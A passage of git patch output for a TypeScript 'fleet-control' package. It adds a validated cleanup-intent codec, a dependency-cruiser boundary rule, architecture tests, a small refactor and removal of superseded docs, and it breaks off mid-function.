+ decommissionAdvance, + decommissionDatabase, + backendSwitch, + ]; + } + return [fixture]; + })(); const args = [ cli, '--config', @@ -183,7 +232,10 @@ for (const [ruleName, fixture] of Object.entries(controls)) { if ( ruleName === 'fleet-control-decommission-database-is-provider-neutral' ) { - assert.deepEqual([...new Set(violations)], [ruleName]); + assert.deepEqual([...new Set(violations)].sort(), [ + 'fleet-control-backend-switch-does-not-reach-its-provider', + 'fleet-control-decommission-database-is-provider-neutral', + ]); for (const target of [ 'packages/fleet-control/src/cloudflare-client.ts', switchProvider, @@ -196,6 +248,38 @@ for (const [ruleName, fixture] of Object.entries(controls)) { `decommission database control did not reject ${target}`, ); } + const adjacency = runtimeAdjacency(report); + assert.deepEqual(reachableFrom(adjacency, decommissionDatabase), [ + databaseExportStore, + strictPlainData, + ]); + assert.equal( + adjacency.get(fixture)?.includes(backendSwitch) ?? false, + false, + 'erased fixture edge entered the runtime adjacency map', + ); + } + if ( + ruleName === 'fleet-control-backend-switch-does-not-reach-its-provider' + ) { + assert.deepEqual([...new Set(violations)].sort(), [ + 'fleet-control-backend-switch-does-not-reach-its-provider', + 'fleet-control-decommission-database-is-provider-neutral', + ]); + const adjacency = runtimeAdjacency(report); + assert.equal(reaches(adjacency, backendSwitch, switchProvider), false); + for (const source of [ + decommissionAdvance, + decommissionDatabase, + backendSwitch, + switchProvider, + ]) { + assert.equal( + hasCycleThrough(adjacency, source), + false, + `${source} entered a runtime cycle`, + ); + } } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { From d83aecbe6e376fe9d698b1f439794e2beb4a860e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 00:39:11 +0400 Subject: [PATCH 041/169] refactor(fleet-control): reuse pending artifact inspection --- packages/fleet-control/src/backend-switch.ts | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index e55c6179..24ae9182 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -5267,6 +5267,7 @@ async function advanceBoundedSwitchCurrent( }); } if (intent.subphase === 'decommission-traffic-authorized') { + const pendingArtifact = entryPendingArtifact(snapshot, options); await options.provider.removeSwitchTraffic({ prior: snapshot.prior, priorSpec: options.priorSpec, @@ -5278,9 +5279,7 @@ async function advanceBoundedSwitchCurrent( environment: intent.environment, routeHostname: snapshot.routeHostname, routeTargets: snapshot.routeTargets.map(({ routeTarget }) => routeTarget), - ...(entryPendingArtifact(snapshot, options) - ? { entryPendingArtifact: entryPendingArtifact(snapshot, options) } - : {}), + ...(pendingArtifact ? { entryPendingArtifact: pendingArtifact } : {}), fence: lease, }); await options.provider.assertSwitchTrafficRemoved({ @@ -5366,6 +5365,7 @@ async function advanceBoundedSwitchCurrent( nextBackendSwitchShell(record, authorized, { state: 'transitioning' }), ); } + const pendingArtifact = entryPendingArtifact(snapshot, options); await options.provider.removeSwitchBridge({ prior: snapshot.prior, priorSpec: options.priorSpec, @@ -5373,9 +5373,7 @@ async function advanceBoundedSwitchCurrent( plan: snapshot.bridgePlan, targetSpec: options.targetSpec, allowedArtifactVersions: allowedSwitchArtifactVersions(snapshot), - ...(entryPendingArtifact(snapshot, options) - ? { entryPendingArtifact: entryPendingArtifact(snapshot, options) } - : {}), + ...(pendingArtifact ? { entryPendingArtifact: pendingArtifact } : {}), fence: lease, }); const current = lease.current(); From a9d6d2c5345ab2cbacf6367248bc84c302b7f3a2 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 13:24:56 +0400 Subject: [PATCH 042/169] docs: remove superseded repository documentation --- .changeset/README.md | 21 --------------------- CONTRIBUTING.md | 3 ++- docs/examples/CLAUDE.md | 15 --------------- packages/flowsafe/examples/CLAUDE.md | 7 ------- 4 files changed, 2 insertions(+), 44 deletions(-) delete mode 100644 .changeset/README.md delete mode 100644 docs/examples/CLAUDE.md delete mode 100644 packages/flowsafe/examples/CLAUDE.md diff --git a/.changeset/README.md b/.changeset/README.md deleted file mode 100644 index 37605505..00000000 --- a/.changeset/README.md +++ /dev/null @@ -1,21 +0,0 @@ -# Changesets - -Version and changelog management for the publishable packages -(`@proofoftech/breakwater`, `@proofoftech/flowsafe`, and -`@proofoftech/fleet-control`; `showcase` is private and never publishes). - -Every PR that changes published behavior adds a changeset: - -```bash -pnpm exec changeset -``` - -Pick the affected package(s) and a semver bump, describe the change (this text -becomes the CHANGELOG entry). On merge to `dev`, the version workflow -(`.github/workflows/version.yml`) opens/updates a standing "Version Packages" -PR against dev that applies the pending bumps. Releasing = merge that PR into -dev, then immediately cut and merge the release PR (`dev` → `main`); -`.github/workflows/release.yml` then publishes the bumped versions to npm with -provenance (and refuses, loudly, if an unversioned changeset reached main). - -Docs: https://github.com/changesets/changesets diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index b577bdff..42940bf9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -91,7 +91,8 @@ repository maintenance and docs-only changes do not need one. ## Releasing -Versioning and publishing run through [changesets](.changeset/README.md), with +Versioning and publishing run through +[Changesets](https://github.com/changesets/changesets), with version bumps happening ON `dev` (bump-on-dev). Feature and fix PRs target the `dev` integration branch and include a changeset (`pnpm exec changeset` — pick the packages, a semver bump, and write the CHANGELOG entry) when they change diff --git a/docs/examples/CLAUDE.md b/docs/examples/CLAUDE.md deleted file mode 100644 index b823c34f..00000000 --- a/docs/examples/CLAUDE.md +++ /dev/null @@ -1,15 +0,0 @@ -# Example navigation - -[`README.md`](README.md) labels which examples are runnable and which are design sketches. - -- `gtm-outbound.ts`: serial approval -- `content-pipeline.ts`: parallel work -- `lead-generation.ts`: branching -- `product-launch.ts`: repeated gates -- `custom-workflow-scoping.ts`: host-level workflow authorization sketch - -Run the executable flowsafe example with: - -```bash -pnpm --filter @proofoftech/flowsafe example:gtm -``` diff --git a/packages/flowsafe/examples/CLAUDE.md b/packages/flowsafe/examples/CLAUDE.md deleted file mode 100644 index 2d3e790c..00000000 --- a/packages/flowsafe/examples/CLAUDE.md +++ /dev/null @@ -1,7 +0,0 @@ -# Runnable example navigation - -- `gtm-outbound.e2e.test.ts`: executable approval and connector example - -```bash -pnpm --filter @proofoftech/flowsafe example:gtm -``` From facf2cd7d70af5eaa66235c77bdcd1d7c45f0ea2 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 31 Aug 2026 21:37:17 +0400 Subject: [PATCH 043/169] feat(fleet-control): add durable cleanup state, receipts, and terminal completion --- .dependency-cruiser.cjs | 16 + packages/fleet-control/src/backend-switch.ts | 42 +- packages/fleet-control/src/cleanup-intent.ts | 846 +++++++++++++++++ packages/fleet-control/src/provision.ts | 4 + packages/fleet-control/src/state-store.ts | 586 +++++++++++- packages/fleet-control/src/types.ts | 295 ++++++ .../fleet-control/test/backend-switch.test.ts | 96 ++ .../fleet-control/test/cleanup-intent.test.ts | 874 ++++++++++++++++++ .../fixtures/fleet-state-harness-probe.ts | 288 ++++++ .../test/state-store.harness.test.ts | 132 +++ .../fleet-control/test/state-store.test.ts | 284 +++++- .../cleanup-state-imports-provider.ts | 4 + .../architecture-positive-controls.test.mjs | 2 + 13 files changed, 3463 insertions(+), 6 deletions(-) create mode 100644 packages/fleet-control/src/cleanup-intent.ts create mode 100644 packages/fleet-control/test/cleanup-intent.test.ts create mode 100644 scripts/architecture-fixtures/cleanup-state-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 9db825b6..e365c7d2 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -203,6 +203,22 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-cleanup-state-does-not-reach-provider', + severity: 'error', + comment: + 'Persisted cleanup state is a provider-free authority boundary. Keeping provider clients, operations, and error classification out of its reachable graph prevents the cleanup codec and eligibility classifier from acquiring credential or transport dependencies.', + from: { + path: [ + '^packages/fleet-control/src/cleanup-intent\\.ts$', + '^scripts/architecture-fixtures/cleanup-state-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, { name: 'fleet-control-decommission-advance-is-transport-neutral', severity: 'error', diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index 24ae9182..ec25602a 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -8,6 +8,10 @@ import { assertApplicationR2EmptyBeforeDecommission, convergeApplicationR2Deletion, } from './application-bindings.js'; +import { + invocationAuthorityCarrierFromUnknown, + normalizeCleanupAdvanceIntent, +} from './cleanup-intent.js'; import { assertWorkerAttachmentProviderRequestBudget, initialWorkerAttachmentScan, @@ -69,6 +73,7 @@ import type { BackendSwitchSubphase, BridgeMutationPlan, BridgeSnapshot, + CleanupAdvanceIntent, DatabaseExportReceiptIdentity, DatabaseReference, DecommissionAdvanceIntent, @@ -85,10 +90,12 @@ import type { FleetRecord, FleetStateLease, FleetStateStore, + InvocationAuthorityCarrier, PlainBackendSnapshot, ProvisioningPhase, } from './types.js'; import { + assertNoActiveCleanup, assertNoActiveDecommission, BACKEND_SWITCH_SUBPHASES, effectiveLifecyclePhase, @@ -1869,6 +1876,8 @@ const BACKEND_SWITCH_RECORD_KEYS = [ 'migrationIntent', 'backendSwitchIntent', 'decommissionIntent', + 'cleanupIntent', + 'invocationAuthority', 'applicationResources', 'applicationBindings', 'durableObjectTag', @@ -1978,7 +1987,17 @@ function canonicalFleetRecordFromSource( source: Record, switchIntent: BackendSwitchIntent, shell: DecommissionAdvanceIntent | undefined, + cleanupIntent: CleanupAdvanceIntent | undefined, + invocationAuthority: InvocationAuthorityCarrier | undefined, ): FleetRecord { + // Cross-intent sources must not survive canonicalization even before + // validateRecordCrossFields runs: an active cleanup owns the whole record, + // and no switch-bearing record — settled or not — can legitimately carry a + // cleanup intent (cleanup admission is restricted to prepublication phases, + // which no switch record occupies). + if (cleanupIntent) { + throw new Error(BACKEND_SWITCH_RECORD_ERROR); + } if ( typeof source.tenantTag !== 'string' || !isDeploymentTenantTag(source.tenantTag) || @@ -2171,6 +2190,8 @@ function canonicalFleetRecordFromSource( ...(migrationIntent ? { migrationIntent } : {}), backendSwitchIntent: switchIntent, ...(shell ? { decommissionIntent: shell } : {}), + // cleanupIntent is unconditionally rejected above and never emitted here. + ...(invocationAuthority ? { invocationAuthority } : {}), ...(applicationResources ? { applicationResources } : {}), ...(applicationBindings ? { applicationBindings } : {}), ...(typeof source.durableObjectTag === 'string' @@ -2367,7 +2388,25 @@ export function backendSwitchFleetRecordFromUnknown( if (shell && shell.updatedAt !== source.updatedAt) { throw new Error(BACKEND_SWITCH_RECORD_ERROR); } - const record = canonicalFleetRecordFromSource(source, switchIntent, shell); + // Unlike the decommission shell, a cleanup intent's updatedAt tracks the + // cleanup operation rather than the switch write, so no record-timestamp + // equality is required here; the strict codec still validates identity. + const cleanupIntent = Object.hasOwn(source, 'cleanupIntent') + ? normalizeCleanupAdvanceIntent( + source.cleanupIntent as CleanupAdvanceIntent, + provisional, + ) + : undefined; + const invocationAuthority = Object.hasOwn(source, 'invocationAuthority') + ? invocationAuthorityCarrierFromUnknown(source.invocationAuthority) + : undefined; + const record = canonicalFleetRecordFromSource( + source, + switchIntent, + shell, + cleanupIntent, + invocationAuthority, + ); return { record, comparisonBytes: JSON.stringify(canonicalJsonValue(record)), @@ -2388,6 +2427,7 @@ export function backendSwitchDecommissionShell( now: string; }>, ): import('./types.js').DecommissionAdvanceIntent { + assertNoActiveCleanup(input.record, 'backend switch decommission'); const snapshot = input.intent.decommissionSnapshot; if ( !snapshot || diff --git a/packages/fleet-control/src/cleanup-intent.ts b/packages/fleet-control/src/cleanup-intent.ts new file mode 100644 index 00000000..0bc07fde --- /dev/null +++ b/packages/fleet-control/src/cleanup-intent.ts @@ -0,0 +1,846 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + parseWorkerAttachmentScanProgress, + WORKER_ATTACHMENT_EVIDENCE_BOUND, +} from './cloudflare-worker-attachment-scan-state.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; +import type { + CleanupAdvanceIntent, + CleanupAdvanceState, + CleanupAdvanceToken, + CleanupAttachmentProgress, + CleanupAttachmentPurpose, + CleanupAttachmentScan, + CleanupAuthority, + CleanupReceiptEvidence, + CleanupTerminalReceipt, + DecommissionBlockedAttachment, + FleetRecord, + InvocationAuthorityCarrier, + ProvisioningBackendKind, + ProvisioningPhase, +} from './types.js'; + +export const CLEANUP_INTENT_BYTE_BOUND = 96 * 1024; +const TOKEN_BYTE_BOUND = 1024; +const STRING_BYTE_BOUND = 4096; +const DEPTH_BOUND = 64; +const NODE_BOUND = 8192; +const SHA256 = /^[0-9a-f]{64}$/u; +const UUID_V4 = + /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u; +const STRUCTURED_CLONE = structuredClone; + +/** + * The exact phase set no-export cleanup may admit. Every later phase requires + * export-backed decommissioning. + */ +const CLEANUP_ADMITTED_PHASES: readonly ProvisioningPhase[] = [ + 'database-reserved', + 'database-create-authorized', + 'database-created', + 'identity-seeded', + 'migrated', + 'application-resources-create-authorized', + 'application-resources-deployed', + 'platform-resources-deployed', + 'worker-deployed', + 'maintenance-armed', +]; +const RESERVATION_PHASES: readonly ProvisioningPhase[] = [ + 'database-reserved', + 'database-create-authorized', +]; +const LEGACY_IMPOSSIBLE_PHASES: readonly ProvisioningPhase[] = [ + 'database-created', + 'identity-seeded', + 'migrated', + 'application-resources-create-authorized', +]; + +export class CleanupAdvanceIntentError extends Error { + constructor() { + super('cleanup advance intent is malformed'); + this.name = 'CleanupAdvanceIntentError'; + } +} + +export class InvocationAuthorityCarrierError extends Error { + constructor() { + super('invocation authority carrier is malformed'); + this.name = 'InvocationAuthorityCarrierError'; + } +} + +export class CleanupTerminalReceiptError extends Error { + constructor() { + super('cleanup terminal receipt is malformed'); + this.name = 'CleanupTerminalReceiptError'; + } +} + +export class CleanupAdvanceTokenError extends Error { + constructor() { + super('cleanup advance token is malformed'); + this.name = 'CleanupAdvanceTokenError'; + } +} + +export class CleanupAdvanceTokenDeploymentError extends Error { + constructor() { + super('cleanup advance token targets another deployment'); + this.name = 'CleanupAdvanceTokenDeploymentError'; + } +} + +export class CleanupAdvanceTokenOperationError extends Error { + constructor() { + super('cleanup advance token targets another operation'); + this.name = 'CleanupAdvanceTokenOperationError'; + } +} + +export class CleanupAdvanceTokenFutureError extends Error { + constructor() { + super('cleanup advance token is from the future'); + this.name = 'CleanupAdvanceTokenFutureError'; + } +} + +function malformed(): never { + throw new CleanupAdvanceIntentError(); +} + +function plainRecord(value: unknown): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) { + return malformed(); + } + return value as Record; +} + +function exactKeys( + value: Record, + required: readonly string[], +): void { + const keys = Object.keys(value).sort(); + const expected = [...required].sort(); + if ( + keys.length !== expected.length || + keys.some((key, index) => key !== expected[index]) + ) { + malformed(); + } +} + +function boundedString(value: unknown): value is string { + return ( + typeof value === 'string' && + value.length > 0 && + value.length <= STRING_BYTE_BOUND && + new TextEncoder().encode(value).byteLength <= STRING_BYTE_BOUND + ); +} + +function safeIntegerAtLeast(value: unknown, minimum = 0): value is number { + return Number.isSafeInteger(value) && Number(value) >= minimum; +} + +function sha256(value: unknown): value is string { + return typeof value === 'string' && SHA256.test(value); +} + +function canonicalIso(value: unknown): value is string { + return ( + typeof value === 'string' && + Number.isFinite(Date.parse(value)) && + new Date(value).toISOString() === value + ); +} + +function parseRecordIdentity( + value: unknown, + source: FleetRecord, +): CleanupAdvanceIntent['identity']['record'] { + const candidate = plainRecord(value); + exactKeys(candidate, [ + 'tenantTag', + 'environment', + 'backend', + 'scriptName', + 'databaseId', + 'databaseName', + 'routeHostname', + ]); + const identity = { + tenantTag: candidate.tenantTag, + environment: candidate.environment, + backend: candidate.backend, + scriptName: candidate.scriptName, + databaseId: candidate.databaseId, + databaseName: candidate.databaseName, + routeHostname: candidate.routeHostname, + }; + if ( + !boundedString(identity.tenantTag) || + !boundedString(identity.environment) || + (identity.backend !== 'plain-worker' && + identity.backend !== 'workers-for-platforms') || + !boundedString(identity.scriptName) || + !boundedString(identity.databaseId) || + !boundedString(identity.databaseName) || + !boundedString(identity.routeHostname) || + identity.tenantTag !== source.tenantTag || + identity.environment !== source.environment || + identity.backend !== source.backend || + identity.scriptName !== source.scriptName || + identity.databaseId !== source.databaseId || + identity.databaseName !== source.databaseName || + identity.routeHostname !== source.routeHostname + ) { + return malformed(); + } + return identity as CleanupAdvanceIntent['identity']['record']; +} + +function parseIdentity( + value: unknown, + source: FleetRecord, +): CleanupAdvanceIntent['identity'] { + const candidate = plainRecord(value); + exactKeys(candidate, ['record', 'admittedPhase', 'externalArtifact']); + const record = parseRecordIdentity(candidate.record, source); + if ( + typeof candidate.admittedPhase !== 'string' || + !CLEANUP_ADMITTED_PHASES.includes( + candidate.admittedPhase as ProvisioningPhase, + ) || + typeof candidate.externalArtifact !== 'boolean' + ) { + return malformed(); + } + return { + record, + admittedPhase: candidate.admittedPhase as ProvisioningPhase, + externalArtifact: candidate.externalArtifact, + }; +} + +function parseAuthority(value: unknown): CleanupAuthority { + const candidate = plainRecord(value); + if (candidate.kind === 'manual-cleanup') { + exactKeys(candidate, ['kind']); + return { kind: 'manual-cleanup' }; + } + exactKeys(candidate, [ + 'kind', + 'reservationOwned', + 'databaseOwned', + 'workerCreatedByAttempt', + 'workerResourceState', + 'requestedSpecDigest', + ]); + if ( + candidate.kind !== 'provisioning-rollback' || + typeof candidate.reservationOwned !== 'boolean' || + typeof candidate.databaseOwned !== 'boolean' || + typeof candidate.workerCreatedByAttempt !== 'boolean' || + (candidate.workerResourceState !== 'absent' && + candidate.workerResourceState !== 'present' && + candidate.workerResourceState !== 'unknown') || + !sha256(candidate.requestedSpecDigest) + ) { + return malformed(); + } + return { + kind: 'provisioning-rollback', + reservationOwned: candidate.reservationOwned, + databaseOwned: candidate.databaseOwned, + workerCreatedByAttempt: candidate.workerCreatedByAttempt, + workerResourceState: candidate.workerResourceState, + requestedSpecDigest: candidate.requestedSpecDigest, + }; +} + +function parsePurpose( + value: unknown, + source: FleetRecord, + operationId: string, +): CleanupAttachmentPurpose { + const candidate = plainRecord(value); + exactKeys(candidate, ['kind', 'databaseId', 'operationId']); + if ( + candidate.kind !== 'cleanup-database-pre-delete' || + !boundedString(candidate.databaseId) || + candidate.databaseId !== source.databaseId || + typeof candidate.operationId !== 'string' || + candidate.operationId !== operationId + ) { + return malformed(); + } + return { + kind: 'cleanup-database-pre-delete', + databaseId: candidate.databaseId, + operationId: candidate.operationId, + }; +} + +function parseAttachment(value: unknown): DecommissionBlockedAttachment { + const candidate = plainRecord(value); + if (candidate.plane === 'ordinary') { + exactKeys(candidate, ['plane', 'scriptName']); + if (!boundedString(candidate.scriptName)) return malformed(); + return { plane: 'ordinary', scriptName: candidate.scriptName }; + } + exactKeys(candidate, ['plane', 'scriptName', 'dispatchNamespace']); + if ( + candidate.plane !== 'dispatch' || + !boundedString(candidate.scriptName) || + !boundedString(candidate.dispatchNamespace) + ) { + return malformed(); + } + return { + plane: 'dispatch', + scriptName: candidate.scriptName, + dispatchNamespace: candidate.dispatchNamespace, + }; +} + +function parseScanEvidence( + value: unknown, +): Readonly<{ evidenceSha256: string; evidenceCount: number }> { + const evidence = plainRecord(value); + exactKeys(evidence, ['evidenceSha256', 'evidenceCount']); + if ( + !sha256(evidence.evidenceSha256) || + !safeIntegerAtLeast(evidence.evidenceCount, 2) || + evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND + ) { + return malformed(); + } + return { + evidenceSha256: evidence.evidenceSha256, + evidenceCount: evidence.evidenceCount, + }; +} + +function parseScan( + value: unknown, + source: FleetRecord, + operationId: string, +): CleanupAttachmentScan { + const candidate = plainRecord(value); + exactKeys(candidate, [ + 'purpose', + 'pass', + 'progress', + ...(candidate.pass === 'verify' ? ['discoverEvidence'] : []), + ]); + const purpose = parsePurpose(candidate.purpose, source, operationId); + if (candidate.pass !== 'discover' && candidate.pass !== 'verify') { + return malformed(); + } + let progress: CleanupAttachmentProgress; + try { + progress = parseWorkerAttachmentScanProgress(candidate.progress, { + kind: 'd1', + databaseId: purpose.databaseId, + }); + } catch { + return malformed(); + } + if (candidate.pass === 'discover') { + return { purpose, pass: 'discover', progress }; + } + return { + purpose, + pass: 'verify', + progress, + discoverEvidence: parseScanEvidence(candidate.discoverEvidence), + }; +} + +function parseState( + value: unknown, + source: FleetRecord, + operationId: string, +): CleanupAdvanceState { + const candidate = plainRecord(value); + switch (candidate.step) { + case 'teardown-traffic': + case 'teardown-worker': + case 'teardown-platform': + case 'database-deletion': { + exactKeys(candidate, ['step']); + return { step: candidate.step }; + } + case 'r2-deletion': { + exactKeys(candidate, [ + 'step', + 'startResourceIndex', + ...(Object.hasOwn(candidate, 'verifiedDetachmentResourceIndex') + ? ['verifiedDetachmentResourceIndex'] + : []), + ]); + if ( + !safeIntegerAtLeast(candidate.startResourceIndex) || + (Object.hasOwn(candidate, 'verifiedDetachmentResourceIndex') && + !safeIntegerAtLeast(candidate.verifiedDetachmentResourceIndex)) + ) { + return malformed(); + } + return { + step: 'r2-deletion', + startResourceIndex: candidate.startResourceIndex, + ...(safeIntegerAtLeast(candidate.verifiedDetachmentResourceIndex) + ? { + verifiedDetachmentResourceIndex: + candidate.verifiedDetachmentResourceIndex, + } + : {}), + }; + } + case 'attachment-scan': { + exactKeys(candidate, ['step', 'scan']); + return { + step: 'attachment-scan', + scan: parseScan(candidate.scan, source, operationId), + }; + } + case 'blocked': { + exactKeys(candidate, ['step', 'purpose', 'attachment']); + return { + step: 'blocked', + purpose: parsePurpose(candidate.purpose, source, operationId), + attachment: parseAttachment(candidate.attachment), + }; + } + default: + return malformed(); + } +} + +export function cleanupAdvanceIntentFromUnknown( + value: unknown, + source: FleetRecord, +): CleanupAdvanceIntent { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: DEPTH_BOUND, + maxNodes: NODE_BOUND, + maxScalarBytes: CLEANUP_INTENT_BYTE_BOUND, + maxSerializedBytes: CLEANUP_INTENT_BYTE_BOUND, + error: () => new CleanupAdvanceIntentError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + return malformed(); + } + const candidate = plainRecord(plain); + exactKeys(candidate, [ + 'version', + 'operationId', + 'revision', + 'generation', + 'updatedAt', + 'authority', + 'identity', + 'state', + ]); + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeIntegerAtLeast(candidate.revision) || + !safeIntegerAtLeast(candidate.generation) || + !canonicalIso(candidate.updatedAt) || + source.phase !== 'cleanup-advancing' + ) { + return malformed(); + } + return { + version: 1, + operationId: candidate.operationId, + revision: candidate.revision, + generation: candidate.generation, + updatedAt: candidate.updatedAt, + authority: parseAuthority(candidate.authority), + identity: parseIdentity(candidate.identity, source), + state: parseState(candidate.state, source, candidate.operationId), + }; +} + +export function normalizeCleanupAdvanceIntent( + value: CleanupAdvanceIntent, + source: FleetRecord, +): CleanupAdvanceIntent { + return cleanupAdvanceIntentFromUnknown(value, source); +} + +export function invocationAuthorityCarrierFromUnknown( + value: unknown, +): InvocationAuthorityCarrier { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 4, + maxNodes: 16, + maxScalarBytes: TOKEN_BYTE_BOUND, + maxSerializedBytes: TOKEN_BYTE_BOUND, + error: () => new InvocationAuthorityCarrierError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new InvocationAuthorityCarrierError(); + } + let candidate: Record; + try { + candidate = plainRecord(plain); + exactKeys(candidate, ['version', 'authorizedAt']); + } catch { + throw new InvocationAuthorityCarrierError(); + } + if ( + candidate.version !== 1 || + (candidate.authorizedAt !== null && !canonicalIso(candidate.authorizedAt)) + ) { + throw new InvocationAuthorityCarrierError(); + } + return { + version: 1, + authorizedAt: candidate.authorizedAt as string | null, + }; +} + +export function parseCleanupAdvanceToken(value: unknown): CleanupAdvanceToken { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: 4, + maxNodes: 16, + maxScalarBytes: TOKEN_BYTE_BOUND, + maxSerializedBytes: TOKEN_BYTE_BOUND, + error: () => new CleanupAdvanceTokenError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new CleanupAdvanceTokenError(); + } + let candidate: Record; + try { + candidate = plainRecord(plain); + exactKeys(candidate, [ + 'version', + 'tenantTag', + 'environment', + 'operationId', + 'revision', + ]); + } catch { + throw new CleanupAdvanceTokenError(); + } + if ( + candidate.version !== 1 || + !boundedString(candidate.tenantTag) || + !boundedString(candidate.environment) || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !safeIntegerAtLeast(candidate.revision) + ) { + throw new CleanupAdvanceTokenError(); + } + return { + version: 1, + tenantTag: candidate.tenantTag, + environment: candidate.environment, + operationId: candidate.operationId, + revision: candidate.revision, + }; +} + +/** + * Pure token classification against the live record. Receipt-aware semantics + * for an absent row or a foreign operation belong to the engine, which + * consults `readCleanupReceipt` before adjudicating. + */ +export function classifyCleanupAdvanceToken( + value: unknown, + source: FleetRecord, +): 'current' | 'stale' { + const token = parseCleanupAdvanceToken(value); + if ( + token.tenantTag !== source.tenantTag || + token.environment !== source.environment + ) { + throw new CleanupAdvanceTokenDeploymentError(); + } + const intent = source.cleanupIntent; + if (!intent || token.operationId !== intent.operationId) { + throw new CleanupAdvanceTokenOperationError(); + } + if (token.revision > intent.revision) { + throw new CleanupAdvanceTokenFutureError(); + } + return token.revision === intent.revision ? 'current' : 'stale'; +} + +function receiptMalformed(): never { + throw new CleanupTerminalReceiptError(); +} + +function parseReceiptEvidencePair( + value: unknown, +): Readonly<{ evidenceSha256: string; evidenceCount: number }> { + try { + return parseScanEvidence(value); + } catch { + return receiptMalformed(); + } +} + +export function cleanupReceiptEvidenceFromUnknown( + value: unknown, +): CleanupReceiptEvidence { + let candidate: Record; + try { + candidate = plainRecord(value); + exactKeys(candidate, [ + 'eligibility', + 'ingressRemoved', + 'workerAbsent', + 'platformResourcesAbsent', + 'applicationR2Settled', + 'databaseAbsentReadback', + ...(Object.hasOwn(candidate, 'scan') ? ['scan'] : []), + ]); + } catch { + return receiptMalformed(); + } + if ( + (candidate.eligibility !== 'carrier-null' && + candidate.eligibility !== 'legacy-phase-impossible' && + candidate.eligibility !== 'reservation-only') || + typeof candidate.ingressRemoved !== 'boolean' || + typeof candidate.workerAbsent !== 'boolean' || + typeof candidate.platformResourcesAbsent !== 'boolean' || + typeof candidate.applicationR2Settled !== 'boolean' || + typeof candidate.databaseAbsentReadback !== 'boolean' + ) { + return receiptMalformed(); + } + let scan: CleanupReceiptEvidence['scan']; + if (Object.hasOwn(candidate, 'scan')) { + let scanCandidate: Record; + try { + scanCandidate = plainRecord(candidate.scan); + exactKeys(scanCandidate, ['discover', 'verify']); + } catch { + return receiptMalformed(); + } + scan = { + discover: parseReceiptEvidencePair(scanCandidate.discover), + verify: parseReceiptEvidencePair(scanCandidate.verify), + }; + } + return { + eligibility: candidate.eligibility, + ingressRemoved: candidate.ingressRemoved, + workerAbsent: candidate.workerAbsent, + platformResourcesAbsent: candidate.platformResourcesAbsent, + applicationR2Settled: candidate.applicationR2Settled, + databaseAbsentReadback: candidate.databaseAbsentReadback, + ...(scan ? { scan } : {}), + }; +} + +export function cleanupTerminalReceiptFromUnknown( + value: unknown, +): CleanupTerminalReceipt { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: DEPTH_BOUND, + maxNodes: NODE_BOUND, + maxScalarBytes: CLEANUP_INTENT_BYTE_BOUND, + maxSerializedBytes: CLEANUP_INTENT_BYTE_BOUND, + error: () => new CleanupTerminalReceiptError(), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + return receiptMalformed(); + } + let candidate: Record; + try { + candidate = plainRecord(plain); + exactKeys(candidate, [ + 'version', + 'operationId', + 'tenantTag', + 'environment', + 'backend', + 'scriptName', + 'databaseId', + 'databaseName', + 'authority', + 'admittedPhase', + 'disposition', + 'evidence', + ...(Object.hasOwn(candidate, 'completedAtMs') ? ['completedAtMs'] : []), + ]); + } catch { + return receiptMalformed(); + } + if ( + candidate.version !== 1 || + typeof candidate.operationId !== 'string' || + !UUID_V4.test(candidate.operationId) || + !boundedString(candidate.tenantTag) || + !boundedString(candidate.environment) || + (candidate.backend !== 'plain-worker' && + candidate.backend !== 'workers-for-platforms') || + !boundedString(candidate.scriptName) || + !boundedString(candidate.databaseId) || + !boundedString(candidate.databaseName) || + (candidate.authority !== 'manual-cleanup' && + candidate.authority !== 'provisioning-rollback') || + typeof candidate.admittedPhase !== 'string' || + !CLEANUP_ADMITTED_PHASES.includes( + candidate.admittedPhase as ProvisioningPhase, + ) || + (candidate.disposition !== 'prepublication-owned-no-export' && + candidate.disposition !== 'reservation-cleared') || + (Object.hasOwn(candidate, 'completedAtMs') && + !safeIntegerAtLeast(candidate.completedAtMs)) + ) { + return 